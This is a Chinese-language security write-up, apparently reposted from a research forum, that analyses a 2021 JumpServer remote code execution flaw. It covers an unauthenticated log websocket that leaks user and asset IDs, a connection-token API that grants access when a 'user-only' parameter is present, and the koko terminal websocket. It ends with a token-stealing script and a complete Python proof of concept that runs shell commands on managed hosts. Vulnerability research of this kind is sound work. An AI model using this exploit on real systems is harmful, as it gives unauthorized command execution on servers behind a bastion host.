jumpserver远程代码执行漏洞分析
2021-01-25 20:35:15 Author: xz.aliyun.com(查看原文) 阅读量:263 收藏

一、环境搭建
首先。安装
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
github 安装脚本全部是安装最新版的。
安装的时候注意几个坑。

这里全部选择no

然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/

访问jumpServer

默认账号是admin admin 进入之后修改密码
然后进入添加一台主机
然后进入web终端

选择你之前添加的主机进行登陆

二、获取token
首先是找到那个修改bug 的点
https://github.com/jumpserver/jumpserver/commits/master


然后对比一下代码。
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

之前的代码是没有认证的。那么先找到这个路由 。
源代码如下:https://www.o2oxy.cn/wp-content/uploads/2021/01/aa.zip
一:找到路由的使用方式
全局搜索CeleryLogWebsocket 这个函数。然后得到如下的websocket 的路由

尝试连接此路由 未授权连结websocket 可以连接成功。

看看这个函数具体的处理过程

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class CeleryLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    def connect(self):
        self.accept()



    def wait_util_log_path_exist(self, task_id):
        log_path = get_celery_task_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

这里是只能获取log 后缀的一个文件。
然后就通过传递task 参数传递一个文件名就可以获取到log文件的内容如下:

再查看jumpserver.log 中 存在system_user user 和asset的信息。这些信息。

{'user': '4320ce47-e0e0-4b86-adb1-675ca611ea0c', 'username': 'test2', 'asset': 'ccb9c6d7-6221-445e-9fcc-b30c95162825', 'hostname': '192.168.1.73', 'system_user': '79655e4e-1741-46af-a793-fff394540a52'}

正好是apps/authentication/api/auth.py 认证系统所需要的值。
代码如下:

# -*- coding: utf-8 -*-
#
import uuid

from django.core.cache import cache
from django.shortcuts import get_object_or_404
from rest_framework.permissions import AllowAny
from rest_framework.response import Response
from rest_framework.views import APIView

from common.utils import get_logger
from common.permissions import IsOrgAdminOrAppUser
from orgs.mixins.api import RootOrgViewMixin
from users.models import User
from assets.models import Asset, SystemUser

logger = get_logger(__name__)
__all__ = [
    'UserConnectionTokenApi',
]


class UserConnectionTokenApi(RootOrgViewMixin, APIView):
    permission_classes = (IsOrgAdminOrAppUser,)

    def post(self, request):
        user_id = request.data.get('user', '')
        asset_id = request.data.get('asset', '')
        system_user_id = request.data.get('system_user', '')
        token = str(uuid.uuid4())
        user = get_object_or_404(User, id=user_id)
        asset = get_object_or_404(Asset, id=asset_id)
        system_user = get_object_or_404(SystemUser, id=system_user_id)
        value = {
            'user': user_id,
            'username': user.username,
            'asset': asset_id,
            'hostname': asset.hostname,
            'system_user': system_user_id,
            'system_user_name': system_user.name
        }
        cache.set(token, value, timeout=20)
        return Response({"token": token}, status=201)

    def get(self, request):
        token = request.query_params.get('token')
        user_only = request.query_params.get('user-only', None)
        value = cache.get(token, None)

        if not value:
            return Response('', status=404)

        if not user_only:
            return Response(value)
        else:
            return Response({'user': value['user']})

    def get_permissions(self):
        if self.request.query_params.get('user-only', None):
            self.permission_classes = (AllowAny,)
        return super().get_permissions()

首先找到这个函数的路由

找到users 路由中的一条路由。

拼接一下整体的路由如下:

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

那么先查看一下他的代码逻辑

GET 需要user-only 参数
post 需要三个参数:user asset system_user
然后返回一个20S 的一个token

def post(self, request):
        user_id = request.data.get('user', '')
        asset_id = request.data.get('asset', '')
        system_user_id = request.data.get('system_user', '')
        token = str(uuid.uuid4())
        user = get_object_or_404(User, id=user_id)
        asset = get_object_or_404(Asset, id=asset_id)
        system_user = get_object_or_404(SystemUser, id=system_user_id)
        value = {
            'user': user_id,
            'username': user.username,
            'asset': asset_id,
            'hostname': asset.hostname,
            'system_user': system_user_id,
            'system_user_name': system_user.name
        }
        cache.set(token, value, timeout=20)
        return Response({"token": token}, status=201)

写了一个获取token脚本如下: 这三个值是从log 中获取的

import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

url_host='http://192.168.1.73:8080'

def get_token():
    url = url_host+'/api/v1/users/connection-token/?user-only=1'
    response = requests.post(url, json=data).json()
    print(response)
    return response['token']
get_token()

20S 真男人。

三、代码执行。

一直翻看core 的代码。始终找不到web 终端的代码。有点迷。最后还是靠着360安全忍者师傅的代码弄清楚了真相。
感谢郁离歌师傅。感谢360安全忍者师傅
web 终端的代码执行是通过中间件的形式转发给后端koko 的。所以一直找不到koko 的代码在哪里

后端代码如下:
https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

跟踪一下processTokenWebsocket 函数

func (s *server) processTokenWebsocket(ctx *gin.Context) {
    tokenId, _ := ctx.GetQuery("target_id")
    tokenUser := service.GetTokenAsset(tokenId)
    if tokenUser.UserID == "" {
        logger.Errorf("Token is invalid: %s", tokenId)
        ctx.AbortWithStatus(http.StatusBadRequest)
        return
    }
    currentUser := service.GetUserDetail(tokenUser.UserID)
    if currentUser == nil {
        logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
        ctx.AbortWithStatus(http.StatusBadRequest)
        return
    }
    targetType := TargetTypeAsset
    targetId := strings.ToLower(tokenUser.AssetID)
    systemUserId := tokenUser.SystemUserID
    s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}

跟踪一下GetTokenAsset

func GetTokenAsset(token string) (tokenUser model.TokenUser) {
    Url := fmt.Sprintf(TokenAssetURL, token)
    _, err := authClient.Get(Url, &tokenUser)
    if err != nil {
        logger.Error("Get Token Asset info failed: ", err)
    }
    return
}

发现也没有做任何的身份认证。尝试连接一下

发现是可以连接。参数构造的话。返回到koko 中。看看登陆到执行一个whoami 看看websocket 怎么发包的

首先是ID +data 进行登陆。

然后是发送命令

尝试在客户端发送试试

发现有点慢。改成python 连接一下。

改一下输出格式

POC 如下:

import asyncio
import websockets
import requests
import json


# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    #print(f"{recv_text}")
    #recv_text=json.loads(recv_text)
   # print(recv_text['data'])


async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            #recv_text=json.loads(recv_text)
           # print(f"{recv_text['data']}")
        print("###############")
        print("exec cmd: %s"%cmd)
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            recv_text=json.loads(recv_text)
            print(recv_text['data'])
        print('#######finish')


url = "/api/v1/authentication/connection-token/?user-only=None"
host="http://192.168.1.73:8080"
cmd="ifconfig"
if host[-1]=='/':
    host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
        "system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))

参考:
https://github.com/jumpserver/jumpserver
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw


文章来源: http://xz.aliyun.com/t/9037
如有侵权请联系:admin#unsafe.sh